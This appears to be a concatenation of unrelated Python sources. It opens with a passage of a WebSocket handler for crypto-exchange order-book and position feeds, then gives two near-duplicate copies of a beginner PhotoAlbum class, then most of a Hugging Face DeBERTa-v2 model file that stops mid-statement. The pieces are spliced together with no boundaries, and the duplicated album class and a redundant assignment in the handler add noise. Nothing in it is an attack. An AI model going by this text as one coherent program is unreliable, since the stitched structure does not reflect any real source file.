msg_json.get('msg') == 'Success': sub = msg_json['topic'] if self.spot else msg_json[ 'request']['args'] self.logger.debug(f'Subscription to {sub} successful.') # Futures subscription fail elif msg_json.get('success') is False: response = msg_json['ret_msg'] if 'unknown topic' in response: self.logger.error('Couldn\'t subscribe to topic.' f' Error: {response}.') # Spot subscription fail elif msg_json.get('code'): self.logger.error('Couldn\'t subscribe to topic.' f' Error code: {msg_json["code"]}.' f' Error message: {msg_json.get("desc")}.') elif 'topic' in msg_json: if self.spot: # Conform received topic data so that we can match with our # subscribed topic topic = self.conform_topic(msg_json.copy()) else: topic = msg_json['topic'] # If incoming 'orderbookL2' data. if 'orderBook' in topic: # Make updates according to delta response. if 'delta' in msg_json['type']: # Delete. for entry in msg_json['data']['delete']: index = self._find_index(self.data[topic], entry, 'id') self.data[topic].pop(index) # Update. for entry in msg_json['data']['update']: index = self._find_index(self.data[topic], entry, 'id') self.data[topic][index] = entry # Insert. for entry in msg_json['data']['insert']: self.data[topic].append(entry) # Record the initial snapshot. elif 'snapshot' in msg_json['type']: if 'order_book' in msg_json['data']: self.data[topic] = msg_json['data']['order_book'] if self.trim else msg_json else: self.data[topic] = msg_json['data'] if self.trim else msg_json #self.data[topic] = msg_json['data'] # If incoming 'diffDepth' data. elif 'diffDepth' in topic: book_sides = {'b': msg_json['data'][0]['b'], 'a': msg_json['data'][0]['a']} if not self.data[topic]: self.data[topic] = book_sides return for side, entries in book_sides.items(): for entry in entries: # Delete. if float(entry[1]) == 0: index = self._find_index( self.data[topic][side], entry, 0) self.data[topic][side].pop(index) continue # Insert. price_level_exists = entry[0] in \ [level[0] for level in self.data[topic][side]] if not price_level_exists: self.data[topic][side].append(entry) continue # Update. qty_changed = entry[1] != next( level[1] for level in self.data[topic][side] if level[0] == entry[0]) if price_level_exists and qty_changed: index = self._find_index( self.data[topic][side], entry, 0) self.data[topic][side][index] = entry continue # For incoming 'order' and 'stop_order' data. elif any(i in topic for i in ['order', 'stop_order']): # record incoming data for i in msg_json['data']: try: # update existing entries # temporary workaround for field anomaly in stop_order data ord_id = topic + '_id' if i['symbol'].endswith('USDT') else 'order_id' index = self._find_index(self.data[topic], i, ord_id) self.data[topic][index] = i except StopIteration: # Keep appending or create new list if not already created. try: self.data[topic].append(i) except AttributeError: self.data[topic] = msg_json['data'] # For incoming 'trade' and 'execution' data. elif any(i in topic for i in ['trade', 'execution']): # Keep appending or create new list if not already created. try: trades = [msg_json['data']] if isinstance( msg_json['data'], dict) else msg_json['data'] for i in trades: self.data[topic].append(i) except AttributeError: self.data[topic] = msg_json['data'] # If list is too long, pop the first entry. if len(self.data[topic]) > self.max_length: self.data[topic].pop(0) # If incoming data is in a topic which only pushes messages in # the snapshot format elif any(i in topic for i in ['insurance', 'kline', 'wallet', 'candle', 'realtimes', '"depth"', '"mergedDepth"', 'bookTicker']): # Record incoming data. if 'v2' in self.endpoint: self.data[topic] = msg_json['data'] if self.trim else msg_json else: self.data[topic] = msg_json['data'][0] if self.trim else msg_json # If incoming 'instrument_info' data. elif 'instrument_info' in topic: # Make updates according to delta response. if 'delta' in msg_json['type']: for i in msg_json['data']['update'][0]: self.data[topic][i] = msg_json['data']['update'][0][i] # Record the initial snapshot. elif 'snapshot' in msg_json['type']: self.data[topic] = msg_json['data'] if self.trim else msg_json # If incoming 'position' data. elif 'position' in topic: # Record incoming position data. for p in msg_json['data']: # linear (USDT) positions have Buy|Sell side and # updates contain all USDT positions. # For linear tickers... if p['symbol'].endswith('USDT'): try: self.data[topic][p['symbol']][p['side']] = p # if side key hasn't been created yet... except KeyError: self.data[topic][p['symbol']] = {p['side']: p} # For non-linear tickers... else: self.data[topic][p['symbol']] = p elif isinstance(msg_json, list): for item in msg_json: topic = item.get('e') if topic == "outboundAccountInfo": self.data[topic] = item elif any(i in topic for i in ['executionReport', 'ticketInfo']): # Keep appending or create new list if not already created. try: self.data[topic].append(item) except AttributeError: self.data[topic] = item self.data[topic] = item def _on_error(self, error): """ Exit on errors and raise exception, or attempt reconnect. """ if not self.exited: self.logger.error(f'WebSocket {self.wsName} encountered error: {error}.') self.exit() # Reconnect. if self.handle_error: self._reset() self._connect(self.endpoint) def _on_open(self): """ Log WS open. """ self.logger.debug(f'WebSocket {self.wsName} opened.') def _on_close(self): """ Log WS close. """ self.logger.debug(f'WebSocket {self.wsName} closed.') def _reset(self): """ Set state booleans and initialize dictionary. """ self.exited = False self.auth = False self.data = {} @staticmethod def conform_topic(topic): """ For spot API. Due to the fact that the JSON received in update messages does not include a simple "topic" key, and parameters all have their own separate keys, we need to compare the entire JSON. Therefore, we need to strip the JSON of any unnecessary keys, cast some values, and dump the JSON with sort_keys. """ if isinstance(topic, str): topic = json.loads(topic) topic.pop('symbolName', '') topic['params'].pop('realtimeInterval', '') topic['params'].pop('symbolName', '') if topic['params'].get('klineType'): topic['topic'] += "_" + topic['params'].get('klineType') topic['params'].pop('klineType') topic.pop('data', '') topic.pop('f', '') topic.pop('sendTime', '') topic.pop('shared', '') return json.dumps(topic, sort_keys=True, separators=(',', ':'))
class PhotoAlbum: def __init__(self, pages: int): self.pages = pages self.photos: list = [[] for _ in range(pages)] @classmethod def from_photos_count(cls, photos_count: int): pages = photos_count // 4 return cls(pages) def free_slots(self): return [page for page in self.photos if len(page) < 4] def add_photo(self, label: str): if not self.free_slots(): return "No more free spots" for p_number, page in enumerate(self.photos, start=1): if len(page) < 4: page.append(label) slot_number = len(page) return f"{label} photo added successfully on page {p_number} slot {slot_number}" def display(self): photos_display = "" for page in self.photos: photos_display += f"{"-" * 11}\n" photos = f"{"[] " * len(page)}" photos_display += f"{photos[:-1]}\n" photos_display += f"{"-" * 11}\n" return photos_display album = PhotoAlbum(2) print(album.add_photo("baby")) print(album.add_photo("first grade")) print(album.add_photo("eight grade")) print(album.add_photo("party with friends")) print(album.photos) print(album.add_photo("prom")) print(album.add_photo("wedding")) print(album.display())
class PhotoAlbum: def __init__(self, pages: int): self.pages = pages self.photos: list = [[] for _ in range(pages)] @classmethod def from_photos_count(cls, photos_count: int): pages = photos_count // 4 return cls(pages) def free_slots(self): return [page for page in self.photos if len(page) < 4] def add_photo(self, label: str): if not self.free_slots(): return "No more free spots" for p_number, page in enumerate(self.photos, start=1): if len(page) < 4: page.append(label) slot_number = len(page) return f"{label} photo added successfully on page {p_number} slot {slot_number}" def display(self): photos_display = "" for page in self.photos: photos_display += f"{'-' * 11}\n" photos = f"{'[] ' * len(page)}" photos_display += f"{photos[:-1]}\n" photos_display += f"{'-' * 11}\n" return photos_display album = PhotoAlbum(2) print(album.add_photo("baby")) print(album.add_photo("first grade")) print(album.add_photo("eight grade")) print(album.add_photo("party with friends")) print(album.photos) print(album.add_photo("prom")) print(album.add_photo("wedding")) print(album.display())
# coding=utf-8 # Copyright 2020 Microsoft and the Hugging Face Inc. team. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ PyTorch DeBERTa-v2 model. """ import math from collections.abc import Sequence import numpy as np import torch from torch import _softmax_backward_data, nn from torch.nn import CrossEntropyLoss, LayerNorm from ...activations import ACT2FN from ...file_utils import add_code_sample_docstrings, add_start_docstrings, add_start_docstrings_to_model_forward from ...modeling_outputs import ( BaseModelOutput, MaskedLMOutput, QuestionAnsweringModelOutput, SequenceClassifierOutput, TokenClassifierOutput, ) from ...modeling_utils import PreTrainedModel from ...utils import logging from .configuration_deberta_v2 import DebertaV2Config logger = logging.get_logger(__name__) _CONFIG_FOR_DOC = "DebertaV2Config" _TOKENIZER_FOR_DOC = "DebertaV2Tokenizer" _CHECKPOINT_FOR_DOC = "microsoft/deberta-v2-xlarge" DEBERTA_V2_PRETRAINED_MODEL_ARCHIVE_LIST = [ "microsoft/deberta-v2-xlarge", "microsoft/deberta-v2-xxlarge", "microsoft/deberta-v2-xlarge-mnli", "microsoft/deberta-v2-xxlarge-mnli", ] # Copied from transformers.models.deberta.modeling_deberta.ContextPooler class ContextPooler(nn.Module): def __init__(self, config): super().__init__() self.dense = nn.Linear(config.pooler_hidden_size, config.pooler_hidden_size) self.dropout = StableDropout(config.pooler_dropout) self.config = config def forward(self, hidden_states): # We "pool" the model by simply taking the hidden state corresponding # to the first token. context_token = hidden_states[:, 0] context_token = self.dropout(context_token) pooled_output = self.dense(context_token) pooled_output = ACT2FN[self.config.pooler_hidden_act](pooled_output) return pooled_output @property def output_dim(self): return self.config.hidden_size # Copied from transformers.models.deberta.modeling_deberta.XSoftmax with deberta->deberta_v2 class XSoftmax(torch.autograd.Function): """ Masked Softmax which is optimized for saving memory Args: input (:obj:`torch.tensor`): The input tensor that will apply softmax. mask (:obj:`torch.IntTensor`): The mask matrix where 0 indicate that element will be ignored in the softmax calculation. dim (int): The dimension that will apply softmax Example:: >>> import torch >>> from transformers.models.deberta_v2.modeling_deberta_v2 import XSoftmax >>> # Make a tensor >>> x = torch.randn([4,20,100]) >>> # Create a mask >>> mask = (x>0).int() >>> y = XSoftmax.apply(x, mask, dim=-1) """ @staticmethod def forward(self, input, mask, dim): self.dim = dim rmask = ~(mask.bool()) output = input.masked_fill(rmask, float("-inf")) output = torch.softmax(output, self.dim) output.masked_fill_(rmask, 0) self.save_for_backward(output) return output @staticmethod def backward(self, grad_output): (output,) = self.saved_tensors inputGrad = _softmax_backward_data(grad_output, output, self.dim, output) return inputGrad, None, None # Copied from transformers.models.deberta.modeling_deberta.DropoutContext class DropoutContext(object): def __init__(self): self.dropout = 0 self.mask = None self.scale = 1 self.reuse_mask = True # Copied from transformers.models.deberta.modeling_deberta.get_mask def get_mask(input, local_context): if not isinstance(local_context, DropoutContext): dropout = local_context mask = None else: dropout = local_context.dropout dropout *= local_context.scale mask = local_context.mask if local_context.reuse_mask else None if dropout > 0 and mask is None: mask = (1 - torch.empty_like(input).bernoulli_(1 - dropout)).bool() if isinstance(local_context, DropoutContext): if local_context.mask is None: local_context.mask = mask return mask, dropout # Copied from transformers.models.deberta.modeling_deberta.XDropout class XDropout(torch.autograd.Function): """Optimized dropout function to save computation and memory by using mask operation instead of multiplication.""" @staticmethod def forward(ctx, input, local_ctx): mask, dropout = get_mask(input, local_ctx) ctx.scale = 1.0 / (1 - dropout) if dropout > 0: ctx.save_for_backward(mask) return input.masked_fill(mask, 0) * ctx.scale else: return input @staticmethod def backward(ctx, grad_output): if ctx.scale > 1: (mask,) = ctx.saved_tensors return grad_output.masked_fill(mask, 0) * ctx.scale, None else: return grad_output, None # Copied from transformers.models.deberta.modeling_deberta.StableDropout class StableDropout(torch.nn.Module): """ Optimized dropout module for stabilizing the training Args: drop_prob (float): the dropout probabilities """ def __init__(self, drop_prob): super().__init__() self.drop_prob = drop_prob self.count = 0 self.context_stack = None def forward(self, x): """ Call the module Args: x (:obj:`torch.tensor`): The input tensor to apply dropout """ if self.training and self.drop_prob > 0: return XDropout.apply(x, self.get_context()) return x def clear_context(self): self.count = 0 self.context_stack = None def init_context(self, reuse_mask=True, scale=1): if self.context_stack is None: self.context_stack = [] self.count = 0 for c in self.context_stack: c.reuse_mask = reuse_mask c.scale = scale def get_context(self): if self.context_stack is not None: if self.count >= len(self.context_stack): self.context_stack.append(DropoutContext()) ctx = self.context_stack[self.count] ctx.dropout = self.drop_prob self.count += 1 return ctx else: return self.drop_prob # Copied from transformers.models.deberta.modeling_deberta.DebertaSelfOutput with DebertaLayerNorm->LayerNorm class DebertaV2SelfOutput(nn.Module): def __init__(self, config): super().__init__() self.dense = nn.Linear(config.hidden_size, config.hidden_size) self.LayerNorm = LayerNorm(config.hidden_size, config.layer_norm_eps) self.dropout = StableDropout(config.hidden_dropout_prob) def forward(self, hidden_states, input_tensor): hidden_states = self.dense(hidden_states) hidden_states = self.dropout(hidden_states) hidden_states = self.LayerNorm(hidden_states + input_tensor) return hidden_states # Copied from transformers.models.deberta.modeling_deberta.DebertaAttention with Deberta->DebertaV2 class DebertaV2Attention(nn.Module): def __init__(self, config): super().__init__() self.self = DisentangledSelfAttention(config) self.output = DebertaV2SelfOutput(config) self.config = config def forward( self, hidden_states, attention_mask, return_att=False, query_states=None, relative_pos=None, rel_embeddings=None, ): self_output = self.self( hidden_states, attention_mask, return_att, query_states=query_states, relative_pos=relative_pos, rel_embeddings=rel_embeddings, ) if return_att: self_output, att_matrix = self_output if query_states is None: query_states = hidden_states attention_output = self.output(self_output, query_states) if return_att: return (attention_output, att_matrix) else: return attention_output # Copied from transformers.models.bert.modeling_bert.BertIntermediate with Bert->DebertaV2 class DebertaV2Intermediate(nn.Module): def __init__(self, config): super().__init__() self.dense = nn.Linear(config.hidden_size, config.intermediate_size) if isinstance(config.hidden_act, str): self.intermediate_act_fn = ACT2FN[config.hidden_act] else: self.intermediate_act_fn = config.hidden_act def forward(self, hidden_states): hidden_states = self.dense(hidden_states) hidden_states = self.intermediate_act_fn(hidden_states) return hidden_states # Copied from transformers.models.deberta.modeling_deberta.DebertaOutput with DebertaLayerNorm->LayerNorm class DebertaV2Output(nn.Module): def __init__(self, config): super().__init__() self.dense = nn.Linear(config.intermediate_size, config.hidden_size) self.LayerNorm = LayerNorm(config.hidden_size, config.layer_norm_eps) self.dropout = StableDropout(config.hidden_dropout_prob) self.config = config def forward(self, hidden_states, input_tensor): hidden_states = self.dense(hidden_states) hidden_states = self.dropout(hidden_states) hidden_states = self.LayerNorm(hidden_states + input_tensor) return hidden_states # Copied from transformers.models.deberta.modeling_deberta.DebertaLayer with Deberta->DebertaV2 class DebertaV2Layer(nn.Module): def __init__(self, config): super().__init__() self.attention = DebertaV2Attention(config) self.intermediate = DebertaV2Intermediate(config) self.output = DebertaV2Output(config) def forward( self, hidden_states, attention_mask, return_att=False, query_states=None, relative_pos=None, rel_embeddings=None, ): attention_output = self.attention( hidden_states, attention_mask, return_att=return_att, query_states=query_states, relative_pos=relative_pos, rel_embeddings=rel_embeddings, ) if return_att: attention_output, att_matrix = attention_output intermediate_output = self.intermediate(attention_output) layer_output = self.output(intermediate_output, attention_output) if return_att: return (layer_output, att_matrix) else: return layer_output class ConvLayer(nn.Module): def __init__(self, config): super().__init__() kernel_size = getattr(config, "conv_kernel_size", 3) groups = getattr(config, "conv_groups", 1) self.conv_act = getattr(config, "conv_act", "tanh") self.conv = torch.nn.Conv1d( config.hidden_size, config.hidden_size, kernel_size, padding=(kernel_size - 1) // 2, groups=groups ) self.LayerNorm = LayerNorm(config.hidden_size, config.layer_norm_eps) self.dropout = StableDropout(config.hidden_dropout_prob) self.config = config def forward(self, hidden_states, residual_states, input_mask): out = self.conv(hidden_states.permute(0, 2, 1).contiguous()).permute(0, 2, 1).contiguous() rmask = (1 - input_mask).bool() out.masked_fill_(rmask.unsqueeze(-1).expand(out.size()), 0) out = ACT2FN[self.conv_act](self.dropout(out)) layer_norm_input = residual_states + out output = self.LayerNorm(layer_norm_input).to(layer_norm_input) if input_mask is None: output_states = output else: if input_mask.dim() != layer_norm_input.dim(): if input_mask.dim() == 4: input_mask = input_mask.squeeze(1).squeeze(1) input_mask = input_mask.unsqueeze(2) input_mask = input_mask.to(output.dtype) output_states = output * input_mask return output_states class DebertaV2Encoder(nn.Module): """Modified BertEncoder with relative position bias support""" def __init__(self, config): super().__init__() self.layer = nn.ModuleList([DebertaV2Layer(config) for _ in range(config.num_hidden_layers)]) self.relative_attention = getattr(config, "relative_attention", False) if self.relative_attention: self.max_relative_positions = getattr(config, "max_relative_positions", -1) if self.max_relative_positions < 1: self.max_relative_positions = config.max_position_embeddings self.position_buckets = getattr(config, "position_buckets", -1) pos_ebd_size = self.max_relative_positions * 2 if self.position_buckets > 0: pos_ebd_size = self.position_buckets * 2 self.rel_embeddings = nn.Embedding(pos_ebd_size, config.hidden_size) self.norm_rel_ebd = [x.strip() for x in getattr(config, "norm_rel_ebd", "none").lower().split("|")] if "layer_norm" in self.norm_rel_ebd: self.LayerNorm = LayerNorm(config.hidden_size, config.layer_norm_eps, elementwise_affine=True) self.conv = ConvLayer(config) if getattr(config, "conv_kernel_size", 0) > 0 else None def get_rel_embedding(self): rel_embeddings = self.rel_embeddings.weight if self.relative_attention else None if rel_embeddings is not None and ("layer_norm" in self.norm_rel_ebd): rel_embeddings = self.LayerNorm(rel_embeddings) return rel_embeddings def get_attention_mask(self, attention_mask): if attention_mask.dim() <= 2: extended_attention_mask = attention_mask.unsqueeze(1).unsqueeze(2) attention_mask = extended_attention_mask * extended_attention_mask.squeeze(-2).unsqueeze(-1) attention_mask = attention_mask.byte() elif attention_mask.dim() == 3: attention_mask = attention_mask.unsqueeze(1) return attention_mask def get_rel_pos(self, hidden_states, query_states=None, relative_pos=None): if self.relative_attention and relative_pos is None: q = query_states.size(-2) if query_states is not None else hidden_states.size(-2) relative_pos = build_relative_position( q, hidden_states.size(-2), bucket_size=self.position_buckets, max_position=self.max_relative_positions ) return relative_pos def forward( self, hidden_states, attention_mask, output_hidden_states=True, output_attentions=False, query_states=None, relative_pos=None, return_dict=True, ): if attention_mask.dim() <= 2: input_mask = attention_mask else: input_mask = (attention_mask.sum(-2) > 0).byte() attention_mask = self.get_attention_mask(attention_mask) relative_pos = self.get_rel_pos(hidden_states, query_states, relative_pos) all_hidden_states = () if output_hidden_states else None all_attentions = () if output_attentions else None if isinstance(hidden_states, Sequence): next_kv = hidden_states[0] else: next_kv = hidden_states rel_embeddings = self.get_rel_embedding() output_states = next_kv for i, layer_module in enumerate(self.layer): if output_hidden_states: all_hidden_states = all_hidden_states + (output_states,) output_states = layer_module( next_kv, attention_mask, output_attentions, query_states=query_states, relative_pos=relative_pos, rel_embeddings=rel_embeddings, ) if output_attentions: output_states, att_m = output_states if i == 0 and self.conv is not None: output_states = self.conv(hidden_states, output_states, input_mask) if query_states is not None: query_states = output_states if isinstance(hidden_states, Sequence): next_kv = hidden_states[i + 1] if i + 1 < len(self.layer) else None else: next_kv = output_states if output_attentions: all_attentions = all_attentions + (att_m,) if output_hidden_states: all_hidden_states = all_hidden_states + (output_states,) if not return_dict: return tuple(v for v in [output_states, all_hidden_states, all_attentions] if v is not None) return BaseModelOutput( last_hidden_state=output_states, hidden_states=all_hidden_states, attentions=all_attentions ) def make_log_bucket_position(relative_pos, bucket_size, max_position): sign = np.sign(relative_pos) mid = bucket_size // 2 abs_pos = np.where((relative_pos < mid) & (relative_pos > -mid), mid - 1, np.abs(relative_pos)) log_pos = np.ceil(np.log(abs_pos / mid) / np.log((max_position - 1) / mid) * (mid - 1)) + mid bucket_pos = np.where(abs_pos <= mid, relative_pos, log_pos * sign).astype(np.int) return bucket_pos def build_relative_position(query_size, key_size, bucket_size=-1, max_position=-1): """ Build relative position according to the query and key We assume the absolute position of query :math:`P_q` is range from (0, query_size) and the absolute position of key :math:`P_k` is range from (0, key_size), The relative positions from query to key is :math:`R_{q \\rightarrow k} = P_q - P_k` Args: query_size (int): the length of query key_size (int): the length of key bucket_size (int): the size of position bucket max_position (int): the maximum allowed absolute position Return: :obj:`torch.LongTensor`: A tensor with shape [1, query_size, key_size] """ q_ids = np.arange(0, query_size) k_ids = np.arange(0, key_size) rel_pos_ids = q_ids[:, None] - np.tile(k_ids, (q_ids.shape[0], 1)) if bucket_size > 0 and max_position > 0: rel_pos_ids = make_log_bucket_position(rel_pos_ids, bucket_size, max_position) rel_pos_ids = torch.tensor(rel_pos_ids, dtype=torch.long) rel_pos_ids = rel_pos_ids[:query_size, :] rel_pos_ids = rel_pos_ids.unsqueeze(0) return rel_pos_ids @torch.jit.script # Copied from transformers.models.deberta.modeling_deberta.c2p_dynamic_expand def c2p_dynamic_expand(c2p_pos, query_layer, relative_pos): return c2p_pos.expand([query_layer.size(0), query_layer.size(1), query_layer.size(2), relative_pos.size(-1)]) @torch.jit.script # Copied from transformers.models.deberta.modeling_deberta.p2c_dynamic_expand def p2c_dynamic_expand(c2p_pos, query_layer, key_layer): return c2p_pos.expand([query_layer.size(0), query_layer.size(1), key_layer.size(-2), key_layer.size(-2)]) @torch.jit.script # Copied from transformers.models.deberta.modeling_deberta.pos_dynamic_expand def pos_dynamic_expand(pos_index, p2c_att, key_layer): return pos_index.expand(p2c_att.size()[:2] + (pos_index.size(-2), key_layer.size(-2))) class DisentangledSelfAttention(torch.nn.Module): """ Disentangled self-attention module Parameters: config (:obj:`DebertaV2Config`): A model config class instance with the configuration to build a new model. The schema is similar to `BertConfig`, for more details, please refer :class:`~transformers.DebertaV2Config` """ def __init__(self, config): super().__init__() if config.hidden_size % config.num_attention_heads != 0: raise ValueError( f"The hidden size ({config.hidden_size}) is not a multiple of the number of attention " f"heads ({config.num_attention_heads})" ) self.num_attention_heads = config.num_attention_heads _attention_head_size = config.hidden_size // config.num_attention_heads self.attention_head_size = getattr(config, "attention_head_size", _attention_head_size) self.all_head_size = self.num_attention_heads * self.attention_head_size self.query_proj = nn.Linear(config.hidden_size, self.all_head_size, bias=True) self.key_proj = nn.Linear(config.hidden_size, self.all_head_size, bias=True) self.value_proj = nn.Linear(config.hidden_size, self.all_head_size, bias=True) self.share_att_key = getattr(config, "share_att_key", False) self.pos_att_type = config.pos_att_type if config.pos_att_type is not None else [] self.relative_attention = getattr(config, "relative_attention", False) if self.relative_attention: self.position_buckets = getattr(config, "position_buckets", -1) self.max_relative_positions = getattr(config, "max_relative_positions", -1) if self.max_relative_positions < 1: self.max_relative_positions = config.max_position_embeddings self.pos_ebd_size = self.max_relative_positions if self.position_buckets > 0: self.pos_ebd_size = self.position_buckets self.pos_dropout = StableDropout(config.hidden_dropout_prob) if not self.share_att_key: if "c2p" in self.pos_att_type or "p2p" in self.pos_att_type: self.pos_key_proj = nn.Linear(config.hidden_size, self.all_head_size, bias=True) if "p2c" in self.pos_att_type or "p2p" in self.pos_att_type: self.pos_query_proj = nn.Linear(config.hidden_size, self.all_head_size) self.dropout = StableDropout(config.attention_probs_dropout_prob) def transpose_for_scores(self, x, attention_heads): new_x_shape = x.size()[:-1] + (attention_heads, -1) x = x.view(*new_x_shape) return x.permute(0, 2, 1, 3).contiguous().view(-1, x.size(1), x.size(-1)) def forward( self, hidden_states, attention_mask, return_att=False, query_states=None, relative_pos=None, rel_embeddings=None, ): """ Call the module Args: hidden_states (:obj:`torch.FloatTensor`): Input states to the module usually the output from previous layer, it will be the Q,K and V in `Attention(Q,K,V)` attention_mask (:obj:`torch.ByteTensor`): An attention mask matrix of shape [`B`, `N`, `N`] where `B` is the batch size, `N` is the maximum sequence length in which element [i,j] = `1` means the `i` th token in the input can attend to the `j` th token. return_att (:obj:`bool`, optional): Whether return the attention matrix. query_states (:obj:`torch.FloatTensor`, optional): The `Q` state in `Attention(Q,K,V)`. relative_pos (:obj:`torch.LongTensor`): The relative position encoding between the tokens in the sequence. It's of shape [`B`, `N`, `N`] with values ranging in [`-max_relative_positions`, `max_relative_positions`]. rel_embeddings (:obj:`torch.FloatTensor`): The embedding of relative distances. It's a tensor of shape [:math:`2 \\times \\text{max_relative_positions}`, `hidden_size`]. """ if query_states is None: query_states = hidden_states query_layer = self.transpose_for_scores(self.query_proj(query_states), self.num_attention_heads) key_layer = self.transpose_for_scores(self.key_proj(hidden_states), self.num_attention_heads) value_layer = self.transpose_for_scores(self.value_proj(hidden_states), self.num_attention_heads) rel_att = None # Take the dot product between "query" and "key" to get the raw attention scores. scale_factor = 1 if "c2p" in self.pos_att_type: scale_factor += 1 if "p2c" in self.pos_att_type: scale_factor += 1 if "p2p" in self.pos_att_type: scale_factor += 1 scale = math.sqrt(query_layer.size(-1) * scale_factor) attention_scores = torch.bmm(query_layer, key_layer.transpose(-1, -2)) / scale if self.relative_attention: rel_embeddings = self.pos_dropout(rel_embeddings) rel_att = self.disentangled_attention_bias( query_layer, key_layer, relative_pos, rel_embeddings, scale_factor ) if rel_att is not None: attention_scores = attention_scores + rel_att attention_scores = attention_scores attention_scores = attention_scores.view( -1, self.num_attention_heads, attention_scores.size(-2), attention_scores.size(-1) ) # bsz x height x length x dimension attention_probs = XSoftmax.apply(attention_scores, attention_mask, -1) attention_probs = self.dropout(attention_probs) context_layer = torch.bmm( attention_probs.view(-1, attention_probs.size(-2), attention_probs.size(-1)), value_layer ) context_layer = ( context_layer.view(-1, self.num_attention_heads, context_layer.size(-2), context_layer.size(-1)) .permute(0, 2, 1, 3) .contiguous() ) new_context_layer_shape = context_layer.size()[:-2] + (-1,) context_layer = context_layer.view(*new_context_layer_shape) if return_att: return (context_layer, attention_probs) else: return context_layer def disentangled_attention_bias(self, query_layer, key_layer, relative_pos, rel_embeddings, scale_factor): if relative_pos is None: q = query_layer.size(-2) relative_pos = build_relative_position( q, key_layer.size(-2), bucket_size=self.position_buckets, max_position=self.max_relative_positions ) if relative_pos.dim() == 2: relative_pos = relative_pos.unsqueeze(0).unsqueeze(0) elif relative_pos.dim() == 3: relative_pos = relative_pos.unsqueeze(1) # bsz x height x query x key elif relative_pos.dim() != 4: raise ValueError(f"Relative position ids must be of dim 2 or 3 or 4. {relative_pos.dim()}") att_span = self.pos_ebd_size relative_pos = relative_pos.long().to(query_layer.device) rel_embeddings = rel_embeddings[self.pos_ebd_size - att_span : self.pos_ebd_size + att_span, :].unsqueeze(0) if self.share_att_key: pos_query_layer = self.transpose_for_scores( self.query_proj(rel_embeddings), self.num_attention_heads ).repeat(query_layer.size(0) // self.num_attention_heads, 1, 1) pos_key_layer = self.transpose_for_scores(self.key_proj(rel_embeddings), self.num_attention_heads).repeat( query_layer.size(0) // self.num_attention_heads, 1, 1 ) else: if "c2p" in self.pos_att_type or "p2p" in self.pos_att_type: pos_key_layer = self.transpose_for_scores( self.pos_key_proj(rel_embeddings), self.num_attention_heads ).repeat( query_layer.size(0) // self.num_attention_heads, 1, 1 ) # .split(self.all_head_size, dim=-1) if "p2c" in self.pos_att_type or "p2p" in self.pos_att_type: pos_query_layer = self.transpose_for_scores( self.pos_query_proj(rel_embeddings), self.num_attention_heads ).repeat( query_layer.size(0) // self.num_attention_heads, 1, 1 ) # .split(self.all_head_size, dim=-1) score = 0 # content->position if "c2p" in self.pos_att_type: scale = math.sqrt(pos_key_layer.size(-1) * scale_factor) c2p_att = torch.bmm(query_layer, pos_key_layer.transpose(-1, -2)) c2p_pos = torch.clamp(relative_pos + att_span, 0, att_span * 2 - 1) c2p_att = torch.gather( c2p_att, dim=-1, index=c2p_pos.squeeze(0).expand([query_layer.size(0), query_layer.size(1), relative_pos.size(-1)]), ) score += c2p_att / scale # position->content if "p2c" in self.pos_att_type or "p2p" in self.pos_att_type: scale = math.sqrt(pos_query_layer.size(-1) * scale_factor) if key_layer.size(-2) != query_layer.size(-2): r_pos = build_relative_position( key_layer.size(-2), key_layer.size(-2), bucket_size=self.position_buckets, max_position=self.max_relative_positions, ).to(query_layer.device) r_pos = r_pos.unsqueeze(0) else: r_pos = relative_pos p2c_pos = torch.clamp(-r_pos + att_span, 0, att_span * 2 - 1) if query_layer.size(-2) != key_layer.size(-2): pos_index = relative_pos[:, :, :, 0].unsqueeze(-1) if "p2c" in self.pos_att_type: p2c_att = torch.bmm(key_layer, pos_query_layer.transpose(-1, -2)) p2c_att = torch.gather( p2c_att, dim=-1, index=p2c_pos.squeeze(0).expand([query_layer.size(0), key_layer.size(-2), key_layer.size(-2)]), ).transpose(-1, -2) if query_layer.size(-2) != key_layer.size(-2): p2c_att = torch.gather( p2c_att, dim=-2, index=pos_index.expand(p2c_att.size()[:2] + (pos_index.size(-2), key_layer.size(-2))), ) score += p2c_att / scale # position->position if "p2p" in self.pos_att_type: pos_query = pos_query_layer[:, :, att_span:, :] p2p_att = torch.matmul(pos_query, pos_key_layer.transpose(-1, -2)) p2p_att = p2p_att.expand(query_layer.size()[:2] + p2p_att.size()[2:]) if query_layer.size(-2) != key_layer.size(-2): p2p_att = torch.gather( p2p_att, dim=-2, index=pos_index.expand(query_layer.size()[:2] + (pos_index.size(-2), p2p_att.size(-1))), ) p2p_att = torch.gather( p2p_att, dim=-1, index=c2p_pos.expand( [query_layer.size(0), query_layer.size(1), query_layer.size(2), relative_pos.size(-1)] ), ) score += p2p_att return score # Copied from transformers.models.deberta.modeling_deberta.DebertaEmbeddings with DebertaLayerNorm->LayerNorm class DebertaV2Embeddings(nn.Module): """Construct the embeddings from word, position and token_type embeddings.""" def __init__(self, config): super().__init__() pad_token_id = getattr(config, "pad_token_id", 0) self.embedding_size = getattr(config, "embedding_size", config.hidden_size) self.word_embeddings = nn.Embedding(config.vocab_size, self.embedding_size, padding_idx=pad_token_id) self.position_biased_input = getattr(config, "position_biased_input", True) if not self.position_biased_input: self.position_embeddings = None else: self.position_embeddings = nn.Embedding(config.max_position_embeddings, self.embedding_size) if config.type_vocab_size > 0: self.token_type_embeddings = nn.Embedding(config.type_vocab_size, self.embedding_size) if self.embedding_size != config.hidden_size: self.embed_proj = nn.Linear(self.embedding_size, config.hidden_size, bias=False) self.LayerNorm = LayerNorm(config.hidden_size, config.layer_norm_eps) self.dropout = StableDropout(config.hidden_dropout_prob) self.config = config # position_ids (1, len position emb) is contiguous in memory and exported when serialized self.register_buffer("position_ids", torch.arange(config.max_position_embeddings).expand((1, -1))) def forward(self, input_ids=None, token_type_ids=None, position_ids=None, mask=None, inputs_embeds=None): if input_ids is not None: input_shape = input_ids.size() else: input_shape = inputs_embeds.size()[:-1] seq_length = input_shape[1] if position_ids is None: position_ids = self.position_ids[:, :seq_length] if token_type_ids is None: token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=self.position_ids.device) if inputs_embeds is None: inputs_embeds = self.word_embeddings(input_ids) if self.position_embeddings is not None: position_embeddings = 